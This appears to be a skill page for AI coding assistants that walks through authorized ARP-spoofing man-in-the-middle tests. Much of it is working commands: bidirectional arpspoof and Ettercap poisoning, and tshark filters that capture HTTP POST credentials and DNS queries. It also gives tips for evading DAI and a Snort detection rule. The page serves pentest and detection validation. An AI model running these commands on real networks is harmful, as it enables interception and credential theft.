Simulates ARP spoofing attacks in authorized lab or pentest environments using arpspoof, Ettercap, and Scapy to demonstrate man-in-the-middle risks, test network detection capabilities, and validate ARP inspection countermeasures.
Install with Codex or Claude Copy this prompt, paste it into Codex, Claude, or another assistant, and let it review the skill page and install it for you.
A direct command skips the review prompt. Inspect the source before running it.
Simulates ARP spoofing attacks in authorized lab or pentest environments using arpspoof, Ettercap, and Scapy to demonstrate man-in-the-middle risks, test network detection capabilities, and validate ARP inspection countermeasures.
Assessing the effectiveness of port security, 802.1X, and VLAN segmentation controls
Training SOC analysts to recognize ARP spoofing indicators in network traffic
Do not use on production networks without explicit written authorization and a rollback plan, against networks carrying critical or life-safety traffic, or as a denial-of-service attack vector.
Most Often Missed & How to Confirm
Bidirectional poisoning: spoofing only the victim (not the gateway) yields half-duplex MITM and silent failure. Poison both directions (arpspoof -t victim gw AND -t gw victim) or use ettercap -M arp:remote.
IP forwarding off = DoS, not MITM: the #1 cause of a "failed" test is forgetting sysctl -w net.ipv4.ip_forward=1; without it you blackhole the victim instead of intercepting.
DAI bypass attempts: before concluding a switch is protected, test from a port with no DHCP-snooping binding, and try gratuitous-ARP vs ARP-reply (op=2) vs ARP-request poisoning — some DAI configs only validate replies.
IPv6 neighbors: an IPv4-only ARP test misses dual-stack hosts; pair with NDP spoofing (parasite6/mitm6) before declaring the segment safe.
How to confirm a hit: on the victim, arp -a must show the attacker's MAC bound to the gateway IP, AND you must see the victim's bidirectional traffic in tcpdump -i eth0 host <victim> (not just ARP replies leaving). A poisoned cache with no forwarded data means forwarding is broken, not that interception succeeded.
Don't conclude "DAI blocks it" until you've checked show ip arp inspection statistics vlan X for drops AND tried request-based poisoning, not only reply-based.
Prerequisites
Written authorization specifying in-scope network segments for ARP spoofing simulation
Kali Linux or similar penetration testing distribution with arpspoof, Ettercap, and Scapy installed
Direct Layer 2 access to the target network segment (same VLAN as target hosts)
IP forwarding knowledge and ability to enable/disable packet forwarding on the attacker machine
Wireshark or tcpdump for capturing traffic to verify interception
Isolated lab environment or approved production test window
Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.
Workflow
Step 1: Enumerate the Target Network Segment
# Discover hosts on the local subnet
nmap -sn -PR 192.168.1.0/24 -oG arp_discovery.txt
# Identify the default gateway
ip route show default
# Output: default via 192.168.1.1 dev eth0# Identify target hosts and their MAC addresses
arp-scan -l -I eth0
# Verify the current ARP table
arp -a
# Note the gateway IP (192.168.1.1) and target host IP (192.168.1.50)# Record their legitimate MAC addresses for verification and cleanup
Step 2: Enable IP Forwarding
# Enable IPv4 forwarding to relay packets between victim and gatewaysudo sysctl -w net.ipv4.ip_forward=1
# Verify forwarding is enabledcat /proc/sys/net/ipv4/ip_forward
# Should output: 1# Optionally prevent ICMP redirects that could alert the victimsudo sysctl -w net.ipv4.conf.all.send_redirects=0
sudo sysctl -w net.ipv4.conf.eth0.send_redirects=0
Step 3: Execute ARP Spoofing with arpspoof
# Spoof the gateway to the target (tell target we are the gateway)sudo arpspoof -i eth0 -t 192.168.1.50 -r 192.168.1.1
# In a separate terminal, spoof the target to the gateway (bidirectional)sudo arpspoof -i eth0 -t 192.168.1.1 -r 192.168.1.50
# Alternative: Use Ettercap for unified bidirectional spoofingsudo ettercap -T -q -i eth0 -M arp:remote /192.168.1.50// /192.168.1.1//
Step 4: Capture and Analyze Intercepted Traffic
# Capture all traffic flowing through the attacker machinesudo tcpdump -i eth0 -w mitm_capture.pcap host 192.168.1.50
# Use tshark to capture HTTP credentials in real-timesudo tshark -i eth0 -Y "http.request.method == POST" \
-T fields -e ip.src -e http.host -e http.request.uri -e urlencoded-form.value
# Capture DNS queries from the victimsudo tshark -i eth0 -Y "dns.qry.name and ip.src == 192.168.1.50" \
-T fields -e frame.time -e dns.qry.name
# Use Ettercap with password collection filterssudo ettercap -T -q -i eth0 -M arp:remote /192.168.1.50// /192.168.1.1// \
-w ettercap_capture.pcap
Step 5: Demonstrate Impact with Scapy (Custom ARP Packets)
# On the target machine, check for ARP cache poisoning indicators
arp -a | grep 192.168.1.1
# If spoofed, the gateway MAC will match the attacker's MAC# Check IDS/SIEM for ARP spoofing alerts# Snort rule that should trigger:# alert arp any any -> any any (msg:"ARP Spoof Detected"; arp.opcode:2;# threshold:type both, track by_src, count 30, seconds 10; sid:1000010;)# Stop the attack and restore ARP tables# Ctrl+C on arpspoof/ettercap sessions# Disable IP forwardingsudo sysctl -w net.ipv4.ip_forward=0
# Manually restore ARP entries on affected hosts (if needed)# On target: arp -d 192.168.1.1 && ping -c 1 192.168.1.1# On gateway: arp -d 192.168.1.50 && ping -c 1 192.168.1.50# Verify legitimate MAC addresses are restored
arp -a
Key Concepts
Term
Definition
ARP Cache Poisoning
Technique of sending fraudulent ARP replies to associate the attacker's MAC address with another host's IP address in the target's ARP cache
Gratuitous ARP
ARP reply sent without a corresponding request, used by ARP spoofing tools to update a target's ARP cache with false entries
Dynamic ARP Inspection (DAI)
Switch-level security feature that validates ARP packets against the DHCP snooping binding database and drops invalid ARP traffic
IP Forwarding
Kernel-level setting that allows a host to relay packets between network interfaces, required for transparent man-in-the-middle interception
DHCP Snooping
Switch security feature that builds a trusted binding table of IP-to-MAC-to-port mappings, serving as the foundation for DAI validation
Tools & Systems
arpspoof (dsniff suite): Simple command-line tool that sends continuous spoofed ARP replies to redirect traffic between two targets
Ettercap: Comprehensive suite for man-in-the-middle attacks supporting ARP spoofing, DNS spoofing, content filtering, and credential capture
Scapy: Python packet manipulation library for crafting custom ARP packets with full control over all header fields
arp-scan: Network scanning tool that sends ARP requests to discover all hosts on a local network segment
Wireshark: Packet analyzer for verifying ARP spoofing success and capturing intercepted traffic for analysis
Common Scenarios
Scenario: Testing Dynamic ARP Inspection Effectiveness on Enterprise Switches
Context: A network team deployed Cisco DAI on all access-layer switches and needs to validate that ARP spoofing attempts are properly detected and blocked. The test is authorized on a dedicated VLAN (VLAN 100) with three test hosts and one attacker machine connected to the same switch.
Approach:
Document baseline ARP tables on all hosts and the legitimate MAC-IP bindings in the DHCP snooping database
Run arpspoof from the attacker machine targeting the default gateway and a test workstation
Verify that the switch drops spoofed ARP packets by checking DAI statistics: show ip arp inspection statistics vlan 100
Confirm the test workstation's ARP cache still shows the legitimate gateway MAC address
Temporarily disable DAI on the test VLAN and repeat the attack to confirm it succeeds without the control
Re-enable DAI and document results showing the control is effective
Verify that IDS alerts were generated for both the blocked and unblocked attack attempts
Pitfalls:
Running ARP spoofing on a VLAN without DAI and accidentally disrupting legitimate traffic
Forgetting to enable IP forwarding, causing a denial-of-service instead of transparent interception
Not restoring ARP tables after testing, leaving hosts with stale cache entries
Testing on a trunk port instead of an access port, potentially affecting multiple VLANs
Output Format
## ARP Spoofing Simulation Report
**Test ID**: NET-ARP-001
**Date**: 2024-03-15 14:00-15:00 UTC
**Target VLAN**: VLAN 100 (192.168.1.0/24)
**Attacker**: 192.168.1.99 (AA:BB:CC:DD:EE:FF)
**Target**: 192.168.1.50 (00:11:22:33:44:55)
**Gateway**: 192.168.1.1 (00:AA:BB:CC:DD:01)
### Test Results
| Test | DAI Status | ARP Spoof Result | Traffic Intercepted |
|------|------------|-------------------|---------------------|
| Test 1 | Enabled | Blocked (switch dropped 847 packets) | No |
| Test 2 | Disabled | Successful (target ARP cache poisoned) | Yes - 23 HTTP sessions |
| Test 3 | Re-enabled | Blocked | No |
### Detection Coverage
- DAI: PASS - Dropped all spoofed ARP replies when enabled
- IDS (Snort): PASS - Generated alert SID:1000010 within 15 seconds
- SIEM: PASS - Alert correlated and escalated within 2 minutes
### Recommendations
1. Maintain DAI enabled on all access VLANs (currently disabled on VLANs 200, 210)
2. Enable DHCP snooping rate limiting to prevent DHCP starvation attacks
3. Deploy 802.1X port authentication to complement ARP inspection
